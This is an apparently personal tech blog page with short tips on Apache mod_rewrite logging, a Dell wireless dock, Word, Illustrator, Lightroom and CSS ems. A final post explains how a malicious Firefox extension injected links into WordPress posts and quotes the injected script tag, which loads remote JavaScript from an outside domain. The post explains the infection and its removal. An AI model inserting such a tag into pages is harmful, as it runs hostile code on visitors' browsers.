Enable Apache Error Logging for Mod_Rewrite in Xampp

Mod_Rewrite enables you to do fancy stuff with URLs, but it isn’t always transparent when it comes to debugging. In a development environment it can be useful to enable apache error logging to see where a mod_rewrite line fails.

In XAMPP you can do this by opening httpd.conf (open control panel > config > Apache (httpd.conf)) and append mod_rewrite.c:trace3 to LogLevel.

LogLevel warn mod_rewrite.c:trace3

Mouse lag on Dell D5000 wireless docking station

Update on January 18th, 2015

I’m now using a single Dell 19:10 monitor with 1920*1200 resolution, which should be supported according to the D5000 specs. However, from time to time I see horizontal bars (video refresh problems?). Even with the lid open, and notebook screen off. The D5000 is positioned immediately behind the laptop. I sure hope this will be fixed with a firmware upgrade, but I haven’t seen any released lately.

Update on February 5th, 2014

This post was previously titled “Interference between Dell D5000 and Logitech Unifying receiver?”, but I have changed the title because it wasn’t accurate. The mouse lag also occurs with wired mice in combination with the Dell D5000 wireless dock. On the windows desktop (WIN+D) itself, there seems to be little to no lag, but on dense webpages or other applications, it looks like the mouse pointer can’t keep up. Maybe there’s a problem with the video refresh rate. Comments appreciated.

Original post on January 31st, 2014

I can’t help but noticing that there seems to be an interference between the Dell D5000 wireless docking station (WiGig) and the Logitech USB unifying connector which causes to lag mouse behaviour from time to time. When I move away from the wireless docking lag seems to stop. The unifying receiver operates on 2.5GHz while the Dell D5000 WiGig dock operates on 60 GHz frequency.

Logitech Unifying Receiver Dell D5000 wireless docking station WiGig

Although it’s still very preliminary to conclude that the interference is caused by these two devices, I’m glad to hear your comments if you encounter the same problems.

I have tried scenarios where the Unifying receiver is attached to the Dell D5000 or directly to the laptop’s USB ports.

Afbeelding uitlijnen / positioneren in Microsoft Word 2010

Een afbeelding in een Word document toevoegen is kinderspel, maar meerdere afbeeldingen steeds op dezelfde plaats op één pagina houden (bijvoorbeeld verbonden met een bepaalde alinea) is wat anders. Vaak doet zich namelijk het probleem voor dat meerdere afbeeldingen in mekaar geschoven worden of plots allemaal bovenaan een pagina komen te staan.

De volgende stappen zorgen ervoor dat meerdere afbeeldingen steeds op de juiste positie blijft staan:

  • Rechtsklik op een ingevoegde afbeelding
  • Kies voor grootte en positie
  • In tabblad positie kies bij onderdeel Horizontaal bijvoorbeeld uitlijnen “rechts” ten opzichte van “Marge”
  • In hetzelfde tabblad kies bij onderdeel Verticaal voor absolute positie “0 cm” onder “alinea”
  • In hetzelfde tabblad kies bij onderdeel Opties eventueel voor “Anker vergrendelen” zodat je niet per ongeluk achteraf de afbeelding verplaatst

What Adobe Illustrator can do with text

Adobe Illustrator has several type creation tools and options. You can type straight text, text along a curved line or shape, confine text to a pre-drawn shape, link text from one place to another, and change text into objects which can be distorted, filled, etc.

You often see text wrapped around a shape. Here is an overview of the various options Illustrator has to offer you.

Adobe Lightroom 4 tip: show filename in grid view

Normally in grid view only an index number is shown. When you hoover an image, you’ll see the filename and date taken/capture date. When selecting images based on filename this becomes a nightmare if you need to wait until the tooltip is showing.

Fortunately, there’s an option to show the filename in the grid view.

View > View options (ctrl + J) > tab Grid view “compact cell extras’ > check ‘Top label’ > choose copy name of file base name.

CSS use EM as a relative font-size, instead of PX

It goes back to Internet Explorer 3.0, but EMs are still the better way to define font-sizes. It takes a small learning curve to get the hang of it, but when it comes to quick changes in overall font-size, this is the way to go. Default font-size for most common browsers is 16 pixels. There are only three articles you need to read to tame that size with relative ems.

1em = 12pt = 16px = 100%

Useful reads

The EM formula

Child pixels / Parent pixels = Size in EM

Not good at calculating? Use the EM calculator

Still targeting Internet Explorer 6?

While Internet Explorer handles EM, it does so only when the base font is set to a percentage!

body { font-size: 62.5%; }
body wrapper { font-size: 1em; }

Remove ‘thepinktheme.org’ / ‘rozekleur.com’ from your wordpress blog?

So you’ve been breaking your head why multiple posts on your blog contain a hidden (javascript) link to the domain www.thepinktheme.org?


<script type="text/javascript" src="http://thepinktheme.info/dfi823hs.js?0.048378094101036107"></script>

You removed all references in your database, and searched your entire wordpress installation, themes and plugins for infected files? Even searched for PHP eval(); functions etc…

And still it’s returning? Look no further, here’s the solution. You or one of the people who has been using your computer, or who has access to your blog and post rights, installed an extension in Mozilla Firefox called ‘pink theme’ (‘roze kleur thema’). It got installed by clicking on malicious Facebook posts.

This extension is adding url’s linking back to the pinktheme.org (and other associated) domains when you add new posts on WordPress.

Remove the extension in Firefox. Remove all references in your WordPress database and start hunting down that user who’s been clicking on obscure Facebook links.